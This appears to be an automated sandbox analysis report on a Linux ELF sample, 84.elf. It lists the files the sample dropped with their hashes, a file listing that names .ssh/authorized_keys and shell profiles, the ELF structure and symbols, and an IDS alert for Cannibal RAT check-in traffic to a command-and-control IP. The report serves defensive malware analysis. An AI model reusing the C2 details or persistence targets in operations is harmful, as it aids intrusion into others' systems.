Preview:	.ELF..............>.............@.......`...........@.8...@.....................................t.......t......... .......................(.......(....................... .......................(.......(.....0.......0...............................................$.......$...............P.td....<.......<.......<.......$%......$%..............Q.td....................................................R.td..............(.......(.....P.......P...........................GNU..t*B~z...9..s....t.............@..........`.L1... $..E ..........H..(8@..9. @. .............. h....E" ..X....A......@H.&..l`.`B.....1 ......@..H........`.0N...................Q. ... ...8T.@.".`!@......0.B.Q`...R........ .w.b .A.$."@.....B.....H. ."@D..7..BA....F.".x.((.R.4..@.......@......H"`. fD../q T.D. ........$.....q ..........@..0(....!.` J...T6AB".....H..%...@+.....Hw.....h"........... ...."..# .D.@@-X.....@.....H..........A......"..... .@p.`XA..'.).4.....;......NC..@a..... .H......DR0"Dp.@..H"..In1.@..,.!.1.B@90..U

/tmp/_MEITTIAO4/libtinfo.so.5

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=d20dc4f7881d9dd170d87fea8eec2a18e4949008, stripped
Category:	dropped
Size (bytes):	170784
Entropy (8bit):	5.070889873016495
Encrypted:	false
SSDEEP:	3072:GSY1DnIyjO0Wvojfl6oaGRvcMLBg7zOGDlCbRbuJaqN:oDngvodFLBg7zOGDlCFy
MD5:	C339B7D83D239A1DE9EC3BD5CEAA894F
SHA1:	14C64224A3E39923B6EA852A877CE1559A8EFC61
SHA-256:	91270AA70F6685DFE255B42230B71ABA6907FD12746AC9D056ADA2264528F443
SHA-512:	B38F940D3F0C331C35923CC1958CDECAE46689BFB5C23C3E9FD36BB1BF0E46FA9B65407B99C8945F5964EFC8D696D3890874D6DCC196BC66F3D09A96C584014C
Malicious:	false
Preview:	.ELF..............>.............@.......`...........@.8...@......................................M.......M........ ..............[.......["......[".....`7......P?........ .............H.......H.".....H.".............................................................$.......$...............P.td.....(.......(.......(..............................Q.td....................................................R.td.....[.......["......[".....04......04..........................GNU.........p...............9... .......@.. ..@.@E... ........!..#.XF...8.............. `( .....9D.....!....h....A............@... .........@3........@ ......A6..!..$..............(.!@......@....@@.......D. .A. .PHs.. ................`(......A..@.......r. .(@... .B@A.................1E.%...*..9...:...................;...=...?...@.......B...C...E...F...G...H.......I...L...M...O...T...W...X.......Y...]..._...`...b...c...d.......g...h...o...p.......s...u.......v...w...x...{...\|.......}...........~...........................

/tmp/_MEITTIAO4/libz.so.1

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=ef3e006dfe3132a41d4d4dc0e407d6ea658e11c4, stripped
Category:	dropped
Size (bytes):	116960
Entropy (8bit):	6.36129421393797
Encrypted:	false
SSDEEP:	3072:a4EudJC0SHDKZDy73ai+PYCvTBfedlzaGRQ0:a45fZ9FBvTBGdlz/Q0
MD5:	65FD13EF7996608743284FC1210113F1
SHA1:	4531041627B2347E30BF12B5B55EB4D5F2C4946B
SHA-256:	219C6C0EFE93BD6D751BBA1E8AE84A162309C665CC5E36BEDDCF295B72F9BC09
SHA-512:	AB999E4675A8F1A63E2276AD677987360C76FE5031CB0825D04E0325DB4C3F4826D8C3BAB3AA4A6A3AA227EE415B1A0931A322C25685E267FC23785E5679A5A2
Malicious:	false
Preview:	.ELF..............>.............@...................@.8...@....................................................... .......................!.......!............. ......... .....................!......!.............................................................$.......$...............P.td....................................................Q.td....................................................R.td..............!.......!.....p.......p...........................GNU..>.m.12..MM.....e.......a................"@b....E..A.....................A.......l.. .....3@..d..B........ .......#.... ...... . .H!...../12.........!...... G..Q$..................................!..."...&...........'...)...*...........+...-...1...2.......4...............5...................6.......................7...9...........;...<...=...........>.......A...B...D...E...F...I...K...M.......N...........O...Q...R...T...U...V.......Y...Z...[...^..._.......`...c...f.......h...i.......j...k...l...m.......n...........o.......

/tmp/_MEITTIAO4/pyexpat.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=1fcab5ed75e10a3179769960716824a2e17cb3dd, stripped
Category:	dropped
Size (bytes):	73248
Entropy (8bit):	5.630287751200074
Encrypted:	false
SSDEEP:	768:ojRiGrrg2r8wz5gHIyp2ejeIxiuP5GtGIoqSLsH4SySGTimdAqZ:ojXFQwzOHmePiuP5IoqSdRzv
MD5:	D780394752000DA693CEABA97068ED10
SHA1:	684506B46A964B9D81269B5089D03C0B2C945A25
SHA-256:	4736B16DD137F99FE212845C69718E8130DFF795E5B3B9FCC523F2B1D8ADEF9F
SHA-512:	E40322A4A73D2602D28F263483FB0619D358C42749259E85B183BA40A42D5E3F3D1D39E4EB411936D47662D34E6DD32E6240E14332699DE401C2B3F8578097D4
Malicious:	false
Preview:	.ELF..............>......2......@...................@.8...@....................................................... ............. ....... . ..... . .....`.......P......... .............0.......0. .....0. .............................................................$.......$...............P.td....`.......`.......`...............................Q.td....................................................R.td.... ....... . ..... . .........................................GNU....u..1yv.`qh$..\|..........z............. .....z...{...\|.......}............m.eu......BE...qX.......\|........................N.......................................................................................................................%...............................................z...............................................................................................J................................................... ...................................................................................

/tmp/_MEITTIAO4/readline.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=c153df9ee2f261c40fe564523ef2832027b0a8eb, stripped
Category:	dropped
Size (bytes):	27168
Entropy (8bit):	4.291600490901987
Encrypted:	false
SSDEEP:	384:cuhhF2Efwa5u5Ld8p94aVfZks0I/VB6zoqOK:/5Ffbk5eL4aVZtB6kq
MD5:	4CBE6D4F8FAA484BAF5D23B7EB387E6C
SHA1:	FE1B31734DCB92AD10DC3499D3B8A235DEF07B36
SHA-256:	A34508A9515423940320A3EFCB3AE7CE64D56AC1DC49636B0E38F25E4C6F15B5
SHA-512:	6716664076D95FD2111732EC4A8B9ED31EF695888D9CD18237F503A3238C7C9E0AC20C722B1E286AF7A827843F119974376CA022FE12AE3F927F9E6FDEA7BFED
Malicious:	false
Preview:	.ELF..............>.....`(......@........c..........@.8...@.....................................dC......dC........ .............(M......(M .....(M .....X................. .............8M......8M .....8M .............................................................$.......$...............P.td....0<......0<......0<......d.......d...............Q.td....................................................R.td....(M......(M .....(M .........................................GNU..S...a...dR>. '...........`............. !..@.`...b...c...d....qX......p......BE...\|........................#.......................................................................w...............................................(.......................................................................v........................... ...........................................................................................m...............................................i.......................E.......................R.......

/tmp/_MEITTIAO4/resource.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=c69be48495f38778b2cf5753d7227d244f3de847, stripped
Category:	dropped
Size (bytes):	11136
Entropy (8bit):	4.119857143741366
Encrypted:	false
SSDEEP:	96:RkrAKMBWB6uvAEmDITAkMYMhh2Gky0KyttxLXzhLH75bzEharWQ8WYL2La+iVv+K:RmA78x4EmDITAnkyNyrFzzLHLpi
MD5:	CE76667F2BE8CCC34123E426FE40D0DD
SHA1:	C479DEA3D03C5567B619FCA8CF160A9DA7E03957
SHA-256:	5D6432652B75C8327097D4309C0CC4C5582EB15B6EEA120E4179003E1729C2F4
SHA-512:	064B64C7AA0D3D8ECC54F1B9B8231CC5C595A5390B5439B1D86C41CF045580DD8060476988C36524D0DE1EC27EBDAB26FCAA490E72B132CBD46CE72DB99413A4
Malicious:	false
Preview:	.ELF..............>..... .......@........%..........@.8...@....................................................... ....................... ....... ....................... ....................... ....... .............................................................$.......$...............P.td............................\.......\...............Q.td....................................................R.td.............. ....... .........................................GNU....x..WS."}$O=.G...................... ...`..................qX.....Ami.....BE...\|................................................S........................... ...........................................d...............................................................................................w...............................................1................................................... ...........................................D...............................................................................

/tmp/_MEITTIAO4/termios.so

Download File

Process:	/tmp/84.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=8045f1e14355ca6e3ea401dd8e3a49d7142ab8a0, stripped
Category:	dropped
Size (bytes):	24672
Entropy (8bit):	3.8041908083868634
Encrypted:	false
SSDEEP:	384:HREZ3f5ZqJatVtWlpKZvomPPzJQsCDVYyGloeONA:HR037sabglpYv/tQsCDDGlGN
MD5:	AB39E9EB3406C564E55DFEBCB9BCF772
SHA1:	FF105F265AD1B222E38FD55975651E5BE93E33EB
SHA-256:	F412E3588EF0F8970EF1F779E38E923FADFDC8337E4387294417E2C6FEC32E66
SHA-512:	D7C98DDA2F40A6E598D1CE60AF0C9D868C34B6F1B8D2101BC36846DDF5B0BEDAAB431DDA37994D7614D859E9EBFBF93BFA0B6601365BB9108433EC906B78EAB7
Malicious:	false
Preview:	.ELF..............>......%......@........Y..........@.8...@......................................7.......7........ ..............=.......= ......= ....................... ..............>.......> ......> .............................................................$.......$...............P.td.....5.......5.......5......\.......\...............Q.td....................................................R.td.....=.......= ......= .........................................GNU..E..CU.n>...:I............%............. ...@.....%...&.......'...)......=V".....BE...qX.......\|............................ .......................+................................................... ...........................................................................................3...............................................................................................+.......................W.......................G...............................................;........................... ...........

/tmp/list.txt

Download File

Process:	/usr/bin/find
File Type:	ASCII text
Category:	dropped
Size (bytes):	121
Entropy (8bit):	4.262336415636784
Encrypted:	false
SSDEEP:	3:+MAXYIAvvKcNNAB6O4OMiaCWRxKTEK/KEuMQWTJDaCWRv:/AXovicNSB6yMiQGhXTJDw
MD5:	944A8CBBC5F564F33880F7D9578EAB00
SHA1:	F34EF2EE22D53E09C64502DCB4FF5A1AA8BFB5C3
SHA-256:	097BC186B30F289A0812AA9D0CDD4E0E3814E142C460D8615701B960129BE0A9
SHA-512:	B80459C39839C4E268A04D06FAC71F62C38D6A68AB4CF44F258256805A3AF75462367699BFE3CBC3EDD157DBADCF3912C3C7DD018D9101FB892BDEA25B15A539
Malicious:	false
Preview:	./.bashrc../.profile../.ssh/authorized_keys../.config/mimeapps.list../.viminfo../.local/share/applications/mimeapps.list.

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fdb92fd0de3892fc2176220c6694f8eee61d4fa3, stripped
Entropy (8bit):	7.993780071670747
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 49.77% ELF Executable and Linkable format (generic) (4004/1) 49.46% Lumena CEL bitmap (63/63) 0.78%
File name:	84.elf
File size:	6'347'024 bytes
MD5:	51ac5f4bcffd208899ebe778c1725579
SHA1:	807c42578f63b569f37a95dc29267ef6c4ec9eea
SHA256:	684d950494951cda868a6d1d83e2ab8baedb7b4f2e8b079ab94771fb4fabd09a
SHA512:	01c8c44035bae0b6565f8b9c9b9c9e9f710da20520bbd334b1b11ca5f0fc35c4f5344403398a3383514ba82c0164938c2c4f8e69023b6db01fec9a79dda20b38
SSDEEP:	196608:ilOAjUX/pUNpusLDfoL8bk9hmpn+yIVqiDT:jAoXCpuqMLeEqin
TLSH:	5B5633CAF87758F7CAEE21344DB9D52072A960F3B321C55866C2A2BA41186F77F1E0C5
File Content Preview:	.ELF..............>.....u.@.....@.........`.........@.8...@.............@.......@.@.....@.@...............................................@.......@...............................................@.......@......s.......s........ ..............s.......s`....

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x401a75
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	8
Section Header Offset:	6345168
Section Header Size:	64
Number of Section Headers:	29
Header String Table Index:	28

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.interp	PROGBITS	0x400200	0x200	0x1c	0x0	0x2	A	0	0	1
.note.ABI-tag	NOTE	0x40021c	0x21c	0x20	0x0	0x2	A	0	0	4
.note.gnu.build-id	NOTE	0x40023c	0x23c	0x24	0x0	0x2	A	0	0	4
.gnu.hash	GNU_HASH	0x400260	0x260	0x30	0x0	0x2	A	5	0	8
.dynsym	DYNSYM	0x400290	0x290	0x798	0x18	0x2	A	6	1	8
.dynstr	STRTAB	0x400a28	0xa28	0x319	0x0	0x2	A	0	0	1
.gnu.version	VERSYM	0x400d42	0xd42	0xa2	0x2	0x2	A	5	0	2
.gnu.version_r	VERNEED	0x400de8	0xde8	0x60	0x0	0x2	A	6	2	8
.rela.dyn	RELA	0x400e48	0xe48	0x60	0x18	0x2	A	5	0	8
.rela.plt	RELA	0x400ea8	0xea8	0x6f0	0x18	0x42	AI	5	23	8
.init	PROGBITS	0x401598	0x1598	0x1a	0x0	0x6	AX	0	0	4
.plt	PROGBITS	0x4015c0	0x15c0	0x4b0	0x10	0x6	AX	0	0	16
.text	PROGBITS	0x401a70	0x1a70	0x3832	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x4052a4	0x52a4	0x9	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x4052c0	0x52c0	0x1160	0x0	0x2	A	0	0	32
.eh_frame_hdr	PROGBITS	0x406420	0x6420	0x254	0x0	0x2	A	0	0	4
.eh_frame	PROGBITS	0x406678	0x6678	0xd2c	0x0	0x2	A	0	0	8
.init_array	INIT_ARRAY	0x6073a8	0x73a8	0x8	0x8	0x3	WA	0	0	8
.fini_array	FINI_ARRAY	0x6073b0	0x73b0	0x8	0x8	0x3	WA	0	0	8
.jcr	PROGBITS	0x6073b8	0x73b8	0x8	0x0	0x3	WA	0	0	8
.dynamic	DYNAMIC	0x6073c0	0x73c0	0x1f0	0x10	0x3	WA	6	0	8
.got	PROGBITS	0x6075b0	0x75b0	0x8	0x8	0x3	WA	0	0	8
.got.plt	PROGBITS	0x6075b8	0x75b8	0x268	0x8	0x3	WA	0	0	8
.data	PROGBITS	0x607820	0x7820	0x10	0x0	0x3	WA	0	0	8
.bss	NOBITS	0x607840	0x7830	0x10328	0x0	0x3	WA	0	0	64
.comment	PROGBITS	0x0	0x7830	0x39	0x1	0x30	MS	0	0	1
pydata	PROGBITS	0x0	0x7869	0x605867	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x60d0d0	0xff	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
PHDR	0x40	0x400040	0x400040	0x1c0	0x1c0	1.7105	0x5	R E	0x8
INTERP	0x200	0x400200	0x400200	0x1c	0x1c	3.9408	0x4	R	0x1	/lib64/ld-linux-x86-64.so.2	.interp
LOAD	0x0	0x400000	0x400000	0x73a4	0x73a4	5.8030	0x5	R E	0x200000		.interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
LOAD	0x73a8	0x6073a8	0x6073a8	0x488	0x107c0	2.1269	0x6	RW	0x200000		.init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
DYNAMIC	0x73c0	0x6073c0	0x6073c0	0x1f0	0x1f0	1.5507	0x6	RW	0x8		.dynamic
NOTE	0x21c	0x40021c	0x40021c	0x44	0x44	3.5218	0x4	R	0x4		.note.ABI-tag .note.gnu.build-id
GNU_EH_FRAME	0x6420	0x406420	0x406420	0x254	0x254	4.4547	0x4	R	0x4		.eh_frame_hdr
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x10

Dynamic Tags

Type	Meta	Value	Tag
DT_NEEDED	sharedlib	libdl.so.2	0x1
DT_NEEDED	sharedlib	libz.so.1	0x1
DT_NEEDED	sharedlib	libc.so.6	0x1
DT_INIT	value	0x401598	0xc
DT_FINI	value	0x4052a4	0xd
DT_INIT_ARRAY	value	0x6073a8	0x19
DT_INIT_ARRAYSZ	bytes	8	0x1b
DT_FINI_ARRAY	value	0x6073b0	0x1a
DT_FINI_ARRAYSZ	bytes	8	0x1c
DT_GNU_HASH	value	0x400260	0x6ffffef5
DT_STRTAB	value	0x400a28	0x5
DT_SYMTAB	value	0x400290	0x6
DT_STRSZ	bytes	793	0xa
DT_SYMENT	bytes	24	0xb
DT_DEBUG	value	0x0	0x15
DT_PLTGOT	value	0x6075b8	0x3
DT_PLTRELSZ	bytes	1776	0x2
DT_PLTREL	pltrel	DT_RELA	0x14
DT_JMPREL	value	0x400ea8	0x17
DT_RELA	value	0x400e48	0x7
DT_RELASZ	bytes	96	0x8
DT_RELAENT	bytes	24	0x9
DT_VERNEED	value	0x400de8	0x6ffffffe
DT_VERNEEDNUM	value	2	0x6fffffff
DT_VERSYM	value	0x400d42	0x6ffffff0
DT_NULL	value	0x0	0x0

Symbols

Name	Version Info Name	Version Info File Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
			.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_ITM_deregisterTMCloneTable			.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_ITM_registerTMCloneTable			.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_Jv_RegisterClasses			.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__fprintf_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__gmon_start__			.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__libc_start_main	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__snprintf_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__stpcpy_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__strcat_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__strcpy_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__strdup	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__strncat_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__strncpy_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__vfprintf_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__vsnprintf_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__xpg_basename	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__xstat	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
calloc	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
clearerr	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
closedir	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
dirname	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
dlerror	GLIBC_2.2.5	libdl.so.2	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
dlopen	GLIBC_2.2.5	libdl.so.2	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
dlsym	GLIBC_2.2.5	libdl.so.2	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
execvp	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fchmod	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fclose	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
feof	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ferror	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fflush	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fileno	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fopen	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fork	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fread	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
free	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fseek	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ftell	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fwrite	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getenv	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getpid	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inflate			.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inflateEnd			.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inflateInit_			.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
kill	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
malloc	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
mbstowcs	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memset	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
mkdir	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
mkdtemp	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
nl_langinfo	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
opendir	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
perror	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
raise	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readdir	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readlink	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
realpath	GLIBC_2.3	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
rmdir	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setbuf	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setenv	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setlocale	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
signal	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
stderr	GLIBC_2.2.5	libc.so.6	.dynsym	0x607850	8	OBJECT	<unknown>	DEFAULT	25
stdin	GLIBC_2.2.5	libc.so.6	.dynsym	0x607848	8	OBJECT	<unknown>	DEFAULT	25
stdout	GLIBC_2.2.5	libc.so.6	.dynsym	0x607840	8	OBJECT	<unknown>	DEFAULT	25
stpcpy	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcat	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strchr	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcmp	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcpy	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strlen	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strncat	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strncmp	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strncpy	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strnlen	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strtok	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
unlink	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
unsetenv	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
wait	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
wcsncpy	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
zlibVersion			.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-30T07:41:49.103709+0200	2829852	ETPRO MALWARE Py/Cannibal RAT Checkin M2	1	192.168.2.23	60528	84.247.176.126	33548	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 07:38:08.021945000 CEST	443	33606	54.171.230.55	192.168.2.23
Sep 30, 2024 07:38:08.022347927 CEST	33606	443	192.168.2.23	54.171.230.55
Sep 30, 2024 07:38:08.027667046 CEST	443	33606	54.171.230.55	192.168.2.23
Sep 30, 2024 07:38:09.690566063 CEST	43928	443	192.168.2.23	91.189.91.42
Sep 30, 2024 07:38:12.425962925 CEST	60486	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:12.431190014 CEST	33548	60486	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:12.431294918 CEST	60486	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:12.432763100 CEST	60486	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:12.437937021 CEST	33548	60486	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:13.040365934 CEST	33548	60486	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:13.040393114 CEST	33548	60486	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:13.040420055 CEST	60486	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:13.040951014 CEST	60486	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:13.045803070 CEST	33548	60486	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:15.147687912 CEST	60488	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:15.152601004 CEST	33548	60488	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:15.152806997 CEST	60488	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:15.153434038 CEST	60488	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:15.158180952 CEST	33548	60488	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:15.318907022 CEST	42836	443	192.168.2.23	91.189.91.43
Sep 30, 2024 07:38:15.789042950 CEST	33548	60488	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:15.789155960 CEST	33548	60488	84.247.176.126	192.168.2.23
Sep 30, 2024 07:38:15.789160013 CEST	60488	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:15.789587021 CEST	60488	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:15.789587021 CEST	60488	33548	192.168.2.23	84.247.176.126
Sep 30, 2024 07:38:15.794682026 CEST	33548	60488	84.247.176.126	192.168.2.23
